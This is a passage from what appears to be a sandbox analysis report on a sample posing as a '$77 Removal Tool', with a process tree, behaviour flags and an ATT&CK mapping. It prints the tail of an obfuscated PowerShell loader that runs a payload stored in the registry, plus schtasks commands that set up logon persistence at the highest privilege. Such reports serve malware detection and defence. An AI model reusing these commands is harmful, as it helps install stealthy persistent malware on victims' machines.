voke($GfuSsBxPrwVKiYOfB,[uint32]8,0x20,[ref]$jZCDLzcqrR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1448
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1460

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2616

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2668

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3420
- C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe
  "C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "$77 Rootkit Remover" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:5076
- - C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe
    "C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "$77 Rootkit Remover" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:1640
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:3976
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77$77 Removal Tool.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2860
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3532

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3712

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3868

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4080

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:548

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1908

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:364

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4580

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4060

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4036

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3028

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4936

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1920

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 781e7ceaf58a0405e497c19cb60817bb PgeU1kFDAEm1clcFwNYR9w.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:4500
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:720

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3596

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4296

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery